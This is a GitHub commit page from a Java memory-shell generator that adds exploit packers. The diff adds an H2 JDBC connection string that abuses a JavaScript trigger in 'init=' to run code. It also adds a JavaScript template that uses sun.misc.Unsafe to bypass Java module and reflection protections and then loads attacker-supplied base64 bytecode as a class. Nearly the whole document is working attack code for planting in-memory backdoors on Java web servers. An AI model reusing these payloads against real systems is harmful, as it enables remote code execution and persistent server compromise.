Skip to content

Commit 62e7281

Browse files
committed
feat: add scriptEngineBypassModule packer
1 parent 9853c58 commit 62e7281

File tree

4 files changed

+68
-1
lines changed

4 files changed

+68
-1
lines changed

packer/src/main/java/com/reajason/javaweb/packer/Packers.java

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -17,6 +17,7 @@
1717
import com.reajason.javaweb.packer.groovy.GroovyPacker;
1818
import com.reajason.javaweb.packer.groovy.GroovyScriptEnginePacker;
1919
import com.reajason.javaweb.packer.h2.H2JSPacker;
20+
import com.reajason.javaweb.packer.h2.H2JSURLEncodePacker;
2021
import com.reajason.javaweb.packer.h2.H2JavacPacker;
2122
import com.reajason.javaweb.packer.h2.H2Packer;
2223
import com.reajason.javaweb.packer.jar.*;
@@ -172,6 +173,7 @@ public enum Packers {
172173
H2(new H2Packer()),
173174
H2Javac(new H2JavacPacker(), H2Packer.class),
174175
H2JS(new H2JSPacker(), H2Packer.class),
176+
H2JSURLEncode(new H2JSURLEncodePacker(), H2Packer.class),
175177

176178
Jar(new DefaultJarPacker()),
177179
ScriptEngineJar(new ScriptEngineJarPacker()),
Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
package com.reajason.javaweb.packer.h2;
2+
3+
import com.reajason.javaweb.packer.ClassPackerConfig;
4+
import com.reajason.javaweb.packer.Packer;
5+
import com.reajason.javaweb.packer.Packers;
6+
import lombok.SneakyThrows;
7+
8+
import java.net.URLEncoder;
9+
10+
/**
11+
* @author ReaJason
12+
* @since 2025/6/28
13+
*/
14+
public class H2JSURLEncodePacker implements Packer {
15+
String template = "jdbc:h2:mem:a;init=CREATE TRIGGER a BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\neval(decodeURIComponent('{{script}}'))$$";
16+
17+
@SneakyThrows
18+
@Override
19+
public String pack(ClassPackerConfig config) {
20+
String script = Packers.ScriptEngine.getInstance().pack(config);
21+
String encode = URLEncoder.encode(script, "UTF-8")
22+
.replace("+", "%20")
23+
.replace("%28", "(")
24+
.replace("%29", ")");
25+
return template.replace("{{script}}", encode);
26+
}
27+
}

packer/src/main/java/com/reajason/javaweb/packer/scriptengine/DefaultScriptEnginePacker.java

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -7,11 +7,16 @@
77

88
public class DefaultScriptEnginePacker implements Packer {
99
private final String jsTemplate = Util.loadTemplateFromResource("/memshell-party/ScriptEngine.js");
10+
private final String jsBypassModuleTemplate = Util.loadTemplateFromResource("/memshell-party/ScriptEngineBypassModule.js");
1011

1112
@Override
1213
@SneakyThrows
1314
public String pack(ClassPackerConfig config) {
14-
return scriptToSingleLine(jsTemplate
15+
String template = jsTemplate;
16+
if (config.isByPassJavaModule()) {
17+
template = jsBypassModuleTemplate;
18+
}
19+
return scriptToSingleLine(template
1520
.replace("{{className}}", config.getClassName())
1621
.replace("{{base64Str}}", config.getClassBytesBase64Str()));
1722
}
Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
var base64Str = "{{base64Str}}";
2+
var className = "{{className}}";
3+
var clsString = java.lang.Class.forName("java.lang.String");
4+
var bytecode;
5+
try {
6+
var decoder = java.lang.Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
7+
bytecode = decoder.getClass().getMethod("decode", clsString).invoke(decoder, base64Str);
8+
} catch (ee) {
9+
var decoder = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance();
10+
bytecode = decoder.getClass().getMethod("decodeBuffer", clsString).invoke(decoder, base64Str);
11+
}
12+
var clsByteArray = (new java.lang.String("a").getBytes().getClass());
13+
var theUnsafeMethod = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
14+
theUnsafeMethod.setAccessible(true);
15+
unsafe = theUnsafeMethod.get(null);
16+
var reflectionClass = java.lang.Class.forName("jdk.internal.reflect.Reflection");
17+
var classBuffer = reflectionClass.getResourceAsStream("Reflection.class").readAllBytes();
18+
var reflectionAnonymousClass = unsafe.defineAnonymousClass(reflectionClass, classBuffer, null);
19+
var fieldFilterMapField = reflectionAnonymousClass.getDeclaredField("fieldFilterMap");
20+
if (fieldFilterMapField.getType().isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))) {
21+
unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(fieldFilterMapField), java.lang.Class.forName("java.util.HashMap").newInstance());
22+
}
23+
var clz = java.lang.Class.forName("java.lang.Class").getResourceAsStream("Class.class").readAllBytes();
24+
var ClassAnonymousClass = unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), clz, null);
25+
var reflectionDataField = ClassAnonymousClass.getDeclaredField("reflectionData");
26+
unsafe.putObject(java.lang.Class.forName("java.lang.Class"), unsafe.objectFieldOffset(reflectionDataField), null);
27+
var clsInt = java.lang.Integer.TYPE;
28+
var defineClassMethod = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", clsByteArray, clsInt, clsInt);
29+
var modifiers = defineClassMethod.getClass().getDeclaredField("modifiers");
30+
unsafe.putShort(defineClassMethod, unsafe.objectFieldOffset(modifiers), 0x00000001);
31+
var cc = defineClassMethod.invoke(new java.net.URLClassLoader(java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.net.URL"), 0), java.lang.Thread.currentThread().getContextClassLoader()), bytecode, 0, bytecode.length);
32+
cc.newInstance();
33+

0 commit comments

Comments
 (0)